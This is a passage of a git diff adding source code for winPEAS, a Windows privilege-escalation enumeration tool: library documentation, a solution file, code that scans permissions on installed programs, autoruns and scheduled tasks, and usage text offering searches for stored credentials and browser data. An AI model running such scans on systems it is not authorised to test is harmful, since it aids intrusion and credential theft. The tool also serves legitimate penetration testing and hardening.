The display name. + + + Gets a value indicating whether this instance is imported. + true if this instance is imported; otherwise, false. + + + Gets the name of the log. + The name of the log. + + + + Contains an array of strings that represent XPath queries for elements in the XML representation of an event, which is based on the Event Schema. The queries in this object are used to extract values from the event. + + + + + Initializes a new instance of the class. + The property queries. + + + Releases unmanaged and - optionally - managed resources. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Contains the properties of an event instance for an event that is received from an EventLogReader object. The event properties provide information about the event such as the name of the computer where the event was logged and the time that the event was created. + + + + + Gets the activity identifier. + The activity identifier. + + + Gets the bookmark. + The bookmark. + + + Gets the container log. + The container log. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the keywords display names. + The keywords display names. + + + Gets the level. + The level. + + + Gets the display name of the level. + The display name of the level. + + + Gets the name of the log. + The name of the log. + + + Gets the name of the machine. + The name of the machine. + + + Gets the matched query ids. + The matched query ids. + + + Gets the opcode. + The opcode. + + + Gets the display name of the opcode. + The display name of the opcode. + + + Gets the process identifier. + The process identifier. + + + Gets the properties. + The properties. + + + Gets the provider identifier. + The provider identifier. + + + Gets the name of the provider. + The name of the provider. + + + Gets the qualifiers. + The qualifiers. + + + Gets the record identifier. + The record identifier. + + + Gets the related activity identifier. + The related activity identifier. + + + Gets the task. + The task. + + + Gets the display name of the task. + The display name of the task. + + + Gets the thread identifier. + The thread identifier. + + + Gets the time created. + The time created. + + + Gets the user identifier. + The user identifier. + + + Gets the version. + The version. + + + Formats the description. + + + + Formats the description. + The values. + + + + Gets the property values. + The property selector. + + + + To the XML. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Enables you to read events from an event log based on an event query. The events that are read by this object are returned as EventRecord objects. + + + + + Initializes a new instance of the class. + + + Initializes a new instance of the class. + The server. + + + Initializes a new instance of the class. + The server. + The domain. + The user. + The password. + Type of the log on. + + + Gets the global session. + The global session. + + + Cancels the current operations. + + + Clears the log. + Name of the log. + + + Clears the log. + Name of the log. + The backup path. + logName + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Exports the log. + The path. + Type of the path. + The query. + The target file path. + + + Exports the log. + The path. + Type of the path. + The query. + The target file path. + if set to true [tolerate query errors]. + path or targetFilePath + pathType + + + Exports the log and messages. + The path. + Type of the path. + The query. + The target file path. + + + Exports the log and messages. + The path. + Type of the path. + The query. + The target file path. + if set to true [tolerate query errors]. + The target culture information. + + + Gets the log information. + Name of the log. + Type of the path. + + logName + + + Gets the log names. + + + + Gets the provider names. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Contains the metadata (properties and settings) for an event that is defined in an event provider. + + + Gets the description. + The description. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the level. + The level. + + + Gets the log link. + The log link. + + + Gets the opcode. + The opcode. + + + Gets the task. + The task. + + + Gets the template. + The template. + + + Gets the version. + The version. + + + + Contains an event opcode that is defined in an event provider. An opcode defines a numeric value that identifies the activity or a point within an activity that the application was performing when it raised the event. + + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + + Contains the value of an event property that is specified by the event provider when the event is published. + + + + Gets the value. + The value. + + + + Contains the value of an event property that is specified by the event provider when the event is published. + + Contains the properties of an event instance for an event that is received from an EventLogReader object. The event properties provide information about + the event such as the name of the computer where the event was logged and the time that the event was created. + + + + Initializes a new instance of the class. + + + Gets the activity identifier. + The activity identifier. + + + Gets the bookmark. + The bookmark. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the keywords display names. + The keywords display names. + + + Gets the level. + The level. + + + Gets the display name of the level. + The display name of the level. + + + Gets the name of the log. + The name of the log. + + + Gets the name of the machine. + The name of the machine. + + + Gets the opcode. + The opcode. + + + Gets the display name of the opcode. + The display name of the opcode. + + + Gets the process identifier. + The process identifier. + + + Gets the properties. + The properties. + + + Gets the provider identifier. + The provider identifier. + + + Gets the name of the provider. + The name of the provider. + + + Gets the qualifiers. + The qualifiers. + + + Gets the record identifier. + The record identifier. + + + Gets the related activity identifier. + The related activity identifier. + + + Gets the task. + The task. + + + Gets the display name of the task. + The display name of the task. + + + Gets the thread identifier. + The thread identifier. + + + Gets the time created. + The time created. + + + Gets the user identifier. + The user identifier. + + + Gets the version. + The version. + + + Releases unmanaged and - optionally - managed resources. + + + Formats the description. + + + + Formats the description. + The values. + + + + To the XML. + + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + the custom event handler args. + + + + If any error occurred during subscription, this will be non-null. After a notification containing an exception, no more notifications will be made + for this subscription. + + + + + The EventRecord being notified. + NOTE: If non null, then caller is required to call Dispose(). + + + + + Contains an event task that is defined in an event provider. The task identifies a portion of an application or a component that publishes an event. A task is a 16-bit value with 16 top values reserved. + + + + Gets the display name. + The display name. + + + Gets the event unique identifier. + The event unique identifier. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + + Contains static information about an event provider, such as the name and id of the provider, and the collection of events defined in the provider. + + + + + Initializes a new instance of the class. + Name of the provider. + + + Initializes a new instance of the class. + Name of the provider. + The session. + The target culture information. + + + Gets the display name. + The display name. + + + Gets the events. + The events. + + + Gets the help link. + The help link. + + + Gets the identifier. + The identifier. + + + Gets the keywords. + The keywords. + + + Gets the levels. + The levels. + + + Gets the log links. + The log links. + + + Gets the message file path. + The message file path. + + + Gets the name. + The name. + + + Gets the opcodes. + The opcodes. + + + Gets the parameter file path. + The parameter file path. + + + Gets the resource file path. + The resource file path. + + + Gets the tasks. + The tasks. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + + + + + Allows you to access the run-time properties of active event logs and event log files. These properties include the number of events in the log, the size + of the log, a value that determines whether the log is full, and the last time the log was written to or accessed. + + + + Represents a link between an event provider and an event log that the provider publishes events into. This object cannot be instantiated. + + + + Contains an array of strings that represent XPath queries for elements in the XML representation of an event, which is based on the Event Schema. The + queries in this object are used to extract values from the event. + + + + + Contains the status code or error code for a specific event log. This status can be used to determine if the event log is available for an operation. + + + + Gets the name of the log. + The name of the log. + + + Gets the status code. + The status code. + + + Used for subscribing to event record notifications from event log. + + + Maintains cached display / metadata information returned from EventRecords that were obtained from this reader. + + + Initializes a new instance of the class. + The path. + + + Initializes a new instance of the class. + The event query. + + + Initializes a new instance of the class. + The event query. + The bookmark. + + + Initializes a new instance of the class. + The event query. + The bookmark. + if set to true [read existing events]. + eventQuery + + + + Occurs when [event record written]. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..e5fcc49 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..33094c3 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..86dbc44 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..e0856ff Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..0aa8c0c Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..de65081 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..14c29b1 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/privilege-escalation-awesome-script-suite-master.zip b/winPEAS/winPEASexe/privilege-escalation-awesome-script-suite-master.zip new file mode 100755 index 0000000..6067197 Binary files /dev/null and b/winPEAS/winPEASexe/privilege-escalation-awesome-script-suite-master.zip differ diff --git a/winPEAS/winPEASexe/winPEAS.sln b/winPEAS/winPEASexe/winPEAS.sln new file mode 100755 index 0000000..6e6c8c8 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29326.143 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "winPEAS", "winPEAS\winPEAS.csproj", "{D934058E-A7DB-493F-A741-AE8E3DF867F4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.ActiveCfg = Debug|x64 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.Build.0 = Debug|x64 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.ActiveCfg = Debug|x86 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.Build.0 = Debug|x86 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.Build.0 = Release|Any CPU + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.ActiveCfg = Release|x64 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.Build.0 = Release|x64 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.ActiveCfg = Release|x86 + {D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D5215BC3-80A2-4E63-B560-A8F78A763B7C} + EndGlobalSection +EndGlobal diff --git a/winPEAS/winPEASexe/winPEAS/App.config b/winPEAS/winPEASexe/winPEAS/App.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/ApplicationInfo.cs b/winPEAS/winPEASexe/winPEAS/ApplicationInfo.cs new file mode 100755 index 0000000..4a50fe7 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/ApplicationInfo.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32; +using Microsoft.Win32.TaskScheduler; + +namespace winPEAS +{ + class ApplicationInfo + { + // https://stackoverflow.com/questions/115868/how-do-i-get-the-title-of-the-current-active-window-using-c + [DllImport("user32.dll")] + static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll")] + static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + + public static string GetActiveWindowTitle() + { + const int nChars = 256; + StringBuilder Buff = new StringBuilder(nChars); + IntPtr handle = GetForegroundWindow(); + + if (GetWindowText(handle, Buff, nChars) > 0) + { + return Buff.ToString(); + } + return null; + } + + public static List GetAppsRegistry() + { + List retList = new List(); + try + { + RegistryKey softwareKey = Registry.LocalMachine.OpenSubKey("SOFTWARE"); + foreach (string subKeyName in softwareKey.GetSubKeyNames()) + { + retList.Add(subKeyName); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return retList; + } + + public static Dictionary> GetInstalledAppsPermsPath(string fpath) + { + Dictionary> results = new Dictionary>(); + try + { + foreach (string f in Directory.GetFiles(fpath)) + { + results[f] = new Dictionary(){ + { f, String.Join(", ", MyUtils.GetPermissionsFile(f, Program.interestingUsersGroups)) } + }; + } + foreach (string d in Directory.GetDirectories(fpath)) + { + results[d] = MyUtils.GecRecursivePrivs(d); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + public static Dictionary> GetInstalledAppsPerms() + { + Dictionary> results1 = GetInstalledAppsPermsPath(@Path.GetPathRoot(Environment.SystemDirectory) + "Program Files"); + Dictionary> results2 = GetInstalledAppsPermsPath(@Path.GetPathRoot(Environment.SystemDirectory) + "Program Files (x86)"); + results1.Concat(results2).ToDictionary(kvp => kvp.Key, kvp => kvp.Value); + return results1; + } + + public static List> GetAutoRunsFolder() + { + List> results = new List>(); + List autorunLocations = new List(); + autorunLocations.Add(Environment.ExpandEnvironmentVariables(@"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup")); + autorunLocations.Add(Environment.ExpandEnvironmentVariables(@"%programdata%\Microsoft\Windows\Start Menu\Programs\Startup")); + + foreach (string path in autorunLocations) + { + /*results.Add(new Dictionary() { + { "Reg", "" }, + { "Folder", path }, + { "File", "" }, + { "isWritableReg", ""}, + { "interestingFolderRights", String.Join(", ", MyUtils.GetPermissionsFolder(path, Program.interestingUsersGroups))}, + { "interestingFileRights", ""}, + { "isUnquotedSpaced", "" } + });*/ + foreach (string filepath in Directory.GetFiles(path, "*", SearchOption.TopDirectoryOnly)) + { + string folder = Path.GetDirectoryName(filepath); + results.Add(new Dictionary() { + { "Reg", "" }, + { "Folder", folder }, + { "File", filepath }, + { "isWritableReg", ""}, + { "interestingFolderRights", String.Join(", ", MyUtils.GetPermissionsFolder(folder, Program.interestingUsersGroups))}, + { "interestingFileRights", String.Join(", ", MyUtils.GetPermissionsFile(filepath, Program.interestingUsersGroups))}, + { "isUnquotedSpaced", "" } + }); + } + } + return results; + } + + public static List> GetAutoRuns() + { + List> reg_autorus = ServicesInfo.GetRegistryAutoRuns(); + List> file_autorus = GetAutoRunsFolder(); + reg_autorus.AddRange(file_autorus); + return reg_autorus; + } + + public static List> GetScheduledAppsNoMicrosoft() + { + List> results = new List>(); + try + { + void EnumFolderTasks(TaskFolder fld) + { + foreach (Microsoft.Win32.TaskScheduler.Task task in fld.Tasks) + ActOnTask(task); + //task.Name + //task.Enabled + //task.Definition.Actions + //task.Definition + foreach (TaskFolder sfld in fld.SubFolders) + EnumFolderTasks(sfld); + } + + void ActOnTask(Microsoft.Win32.TaskScheduler.Task t) + { + if (t.Enabled && (!String.IsNullOrEmpty(t.Definition.RegistrationInfo.Author) && !t.Definition.RegistrationInfo.Author.Contains("Microsoft"))) + { + List f_trigger = new List(); + foreach (Trigger trigger in t.Definition.Triggers) + f_trigger.Add(String.Format("{0}", trigger)); + + results.Add(new Dictionary() + { + { "Name", t.Name }, + { "Action", Environment.ExpandEnvironmentVariables(String.Format("{0}", t.Definition.Actions)) }, + { "Trigger", String.Join("\n ", f_trigger) }, + { "Author", String.Join(", ", t.Definition.RegistrationInfo.Author) }, + { "Description", String.Join(", ", t.Definition.RegistrationInfo.Description) }, + }); + } + } + EnumFolderTasks(TaskService.Instance.RootFolder); + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Beaprint.cs b/winPEAS/winPEASexe/winPEAS/Beaprint.cs new file mode 100755 index 0000000..d3188dd --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Beaprint.cs @@ -0,0 +1,562 @@ +using Colorful; // http://colorfulconsole.com/ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Text.RegularExpressions; + +namespace winPEAS +{ + class Beaprint + { + public static string GRAY = "\x1b[1;30m"; + static string RED = "\x1b[31m"; + public static string LRED = "\x1b[1;31m"; + static string GREEN = "\x1b[32m"; + static string LGREEN = "\x1b[1;32m"; + public static string YELLOW = "\x1b[33m"; + static string LYELLOW = "\x1b[1;33m"; + static string BLUE = "\x1b[34m"; + public static string LBLUE = "\x1b[1;34m"; + static string MAGENTA = "\x1b[35m"; + static string LMAGENTA = "\x1b[1;35m"; + static string CYAN = "\x1b[36m"; + static string LCYAN = "\x1b[1;36m"; + static string REDYELLOW = "\x1b[31;103m"; + public static string NOCOLOR = "\x1b[0m"; + public static string ansii_color_bad = RED; + public static string ansii_color_good = GREEN; + public static string ansii_users_active = CYAN; + public static string ansii_users_disabled = BLUE; + public static string ansii_current_user = MAGENTA; + + public static Color color_key = Color.DarkSeaGreen; + public static Color color_not_found = Color.Gray; + public static Color color_default = Color.LightSkyBlue; + public static Color color_good = Color.Green; + public static Color color_bad = Color.Red; + static List color_line = new List() { + Color.SkyBlue, + Color.LightPink, + Color.MediumVioletRed, + Color.Linen, + Color.MediumTurquoise, + Color.MediumPurple, + Color.Tomato, + Color.GreenYellow, + Color.HotPink, + Color.Peru + }; + + public static void PrintInit() + { + Colorful.Console.WriteLine(); + Colorful.Console.WriteLine(); + + if (Program.using_ansii) + { + System.Console.WriteLine(YELLOW + "[+] " + NOCOLOR + "WinPEAS" + GREEN + Program.version + NOCOLOR ); + } + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter( " [+] ", Color.Yellow), + new Formatter( "WinPEASv", color_key), + new Formatter( Program.version, color_default), + }; + + Colorful.Console.WriteLineFormatted("{0}{1}{2}", color_key, colorsString); + } + LinkPrint("https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:"); + PrintLeyend(); + } + + static void PrintLeyend() + { + if (Program.using_ansii) + { + System.Console.WriteLine(YELLOW + " [+] " + GREEN + "Leyend:" + NOCOLOR); + System.Console.WriteLine(RED + " Red" + GRAY + " Indicates a special privilege over an object or something is misconfigured" + NOCOLOR); + System.Console.WriteLine(GREEN + " Green" + GRAY + " Indicates that some protection is enabled or something is well configured" + NOCOLOR); + System.Console.WriteLine(CYAN + " Cyan" + GRAY + " Indicates active users" + NOCOLOR); + System.Console.WriteLine(BLUE + " Blue" + GRAY + " Indicates disabled users" + NOCOLOR); + System.Console.WriteLine(LYELLOW + " LightYellow" + GRAY + " Indicates links" + NOCOLOR); + } + else + { + Colorful.Console.Write(" [+] ", Color.Yellow); Colorful.Console.WriteLine(" Leyend", color_good); + Colorful.Console.Write(" Red", color_bad); Colorful.Console.WriteLine(" Indicates a special privilege over an object or something is misconfigured", Color.Gray); + Colorful.Console.Write(" Green", color_good); Colorful.Console.WriteLine(" Indicates that some protection is enabled or something is well configured", Color.Gray); + Colorful.Console.Write(" Pistachio", color_key); Colorful.Console.WriteLine(" Indicates static information (no host dependant), in general"); + Colorful.Console.Write(" Lightblue", color_default); Colorful.Console.WriteLine(" Indicates information extracted from the host (host dependant)"); + Colorful.Console.Write(" Magenta", Color.Magenta); Colorful.Console.WriteLine(" Indicates current user and domain"); + Colorful.Console.Write(" Cyan", Color.Cyan); Colorful.Console.WriteLine(" Indicates active users"); + Colorful.Console.Write(" Blue", Color.Blue); Colorful.Console.WriteLine(" Indicates locked users"); + Colorful.Console.Write(" Purple", Color.MediumPurple); Colorful.Console.WriteLine(" Indicates disablde users and links (and other info for coloring purposes)"); + } + } + + public static void PrintUsage() + { + if (Program.using_ansii) + { + System.Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tansii" + GRAY + " Use ANSII colors (see color from linux terminal)" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tfast" + GRAY + " This will avoid very time consuming checks" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tcmd" + GRAY + " Obtain wifi, cred manager and clipboard information executing CMD commands" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tsysteminfo" + GRAY + " Search system information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tuserinfo" + GRAY + " Search user information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tprocesinfo" + GRAY + " Search processes information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tservicesinfo" + GRAY + " Search services information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tapplicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tnetworkinfo" + GRAY + " Search network information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\twindowscreds" + GRAY + " Search windows credentials" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tbrowserinfo" + GRAY + " Search browser information" + NOCOLOR); + System.Console.WriteLine(LBLUE + "\tfilesinfo" + GRAY + " Search files that can contains credentials" + NOCOLOR); + System.Console.WriteLine(YELLOW + "\t[+] " + LYELLOW + "By default all checks are executed" + NOCOLOR); + } + else + { + Colorful.Console.Write(" [*] ", Color.Yellow); Colorful.Console.WriteLine("WinPEAS is a binary to enumerate possible paths to escalate privileges locally", color_key); + Colorful.Console.Write("\tansii", color_default); Colorful.Console.WriteLine(" Use ANSII colors (see color from linux terminal)", Color.Gray); + Colorful.Console.Write("\tfast", color_default); Colorful.Console.WriteLine(" This will avoid very time consuming checks", Color.Gray); + Colorful.Console.Write("\tcmd", color_default); Colorful.Console.WriteLine(" Obtain wifi, cred manager and clipboard information executing CMD commands", Color.Gray); + Colorful.Console.Write("\tsysteminfo", color_default); Colorful.Console.WriteLine(" Search system information", Color.Gray); + Colorful.Console.Write("\tuserinfo", color_default); Colorful.Console.WriteLine(" Search user information", Color.Gray); + Colorful.Console.Write("\tprocesinfo", color_default); Colorful.Console.WriteLine(" Search processes information", Color.Gray); + Colorful.Console.Write("\tservicesinfo", color_default); Colorful.Console.WriteLine(" Search services information", Color.Gray); + Colorful.Console.Write("\tapplicationsinfo", color_default); Colorful.Console.WriteLine(" Search installed applications information", Color.Gray); + Colorful.Console.Write("\tnetworkinfo", color_default); Colorful.Console.WriteLine(" Search network information", Color.Gray); + Colorful.Console.Write("\twindowscreds", color_default); Colorful.Console.WriteLine(" Search windows credentials", Color.Gray); + Colorful.Console.Write("\tbrowserinfo", color_default); Colorful.Console.WriteLine(" Search browser information", Color.Gray); + Colorful.Console.Write("\tfilesinfo", color_default); Colorful.Console.WriteLine(" Search files that can contains credentials", Color.Gray); + Colorful.Console.Write("\t[+] ", Color.Yellow); Colorful.Console.WriteLine(" By default all checks are executed", color_good); + } + } + + public static void GreatPrint(string toPrint) + { + try + { + System.Console.WriteLine(); + System.Console.WriteLine(); + int halfTotal = 60; + if (Program.using_ansii) + System.Console.WriteLine(LCYAN + " " + new String('=', halfTotal - toPrint.Length) + "(" +NOCOLOR + YELLOW + toPrint + LCYAN + ")" + new String('=', halfTotal - toPrint.Length) + NOCOLOR); + else + { + StyleSheet styleSheet = new StyleSheet(Color.White); + styleSheet.AddStyle("[a-zA-Z]", Color.Yellow); + styleSheet.AddStyle("[=()]", Color.LightSkyBlue); + Colorful.Console.WriteLineStyled(new String('=', halfTotal - toPrint.Length) + "( " + toPrint + " )" + new String('=', halfTotal - toPrint.Length), styleSheet); + } + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void MainPrint(string toPrint, string attackid) + { + try + { + Colorful.Console.WriteLine(); + if (Program.using_ansii) + System.Console.WriteLine(YELLOW + " [+] " + LRED + toPrint + YELLOW + "(" + GRAY + attackid + YELLOW + ")" + NOCOLOR); + else + { + string iniPrint = "[+] {0} ({1})"; + Formatter[] colors = new Formatter[] + { + new Formatter(toPrint, Color.Salmon), + new Formatter(attackid, Color.Gray), + }; + Colorful.Console.WriteLineFormatted(iniPrint, Color.Yellow, colors); + } + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void LinkPrint(string link, string comment = "") + { + try + { + if (Program.using_ansii) + System.Console.WriteLine(YELLOW + " [?] " + LBLUE + comment + " " + LYELLOW + link + NOCOLOR); + else + { + Formatter[] colors = new Formatter[] + { + new Formatter(" [?] ", Color.Yellow), + new Formatter(link, Color.MediumPurple), + }; + Colorful.Console.WriteLineFormatted("{0}" + comment + " {1}", color_default, colors); + } + Colorful.Console.WriteLine(); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void InfoPrint(string toPrint) + { + try + { + if (Program.using_ansii) + System.Console.WriteLine(YELLOW + " [i] " + LBLUE + toPrint + NOCOLOR); + else + { + string iniPrint = " [i] {0}"; + Formatter[] colorsString = new Formatter[] + { + new Formatter(toPrint, color_key), + }; + Colorful.Console.WriteLineFormatted(iniPrint, Color.Yellow, colorsString); + } + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + } + + public static void NotFoundPrint() + { + GrayPrint(" Not Found"); + } + + public static void GoodPrint(string to_print) + { + if (Program.using_ansii) + System.Console.WriteLine(GREEN + to_print + NOCOLOR); + else + Colorful.Console.WriteLine(to_print, color_good); + } + + public static void BadPrint(string to_print) + { + if (Program.using_ansii) + System.Console.WriteLine(RED + to_print + NOCOLOR); + else + Colorful.Console.WriteLine(to_print, color_bad); + } + + public static void GrayPrint(string to_print) + { + if (Program.using_ansii) + System.Console.WriteLine(GRAY + to_print + NOCOLOR); + else + Colorful.Console.WriteLine(to_print, color_not_found); + + } + + public static void PrintLineSeparator() + { + GrayPrint(" ================================================================================================="); + } + public static void AnsiiPrint(string to_print, Dictionary ansii_colors_regexp) + { + if (to_print.Trim().Length > 0) + { + foreach (string line in to_print.Split('\n')) + { + string new_line = line; + foreach (KeyValuePair color in ansii_colors_regexp) + new_line = RegexAnsii(new_line, color.Value, color.Key); + + System.Console.WriteLine(new_line); + } + } + } + + static string RegexAnsii(string to_match, string color, 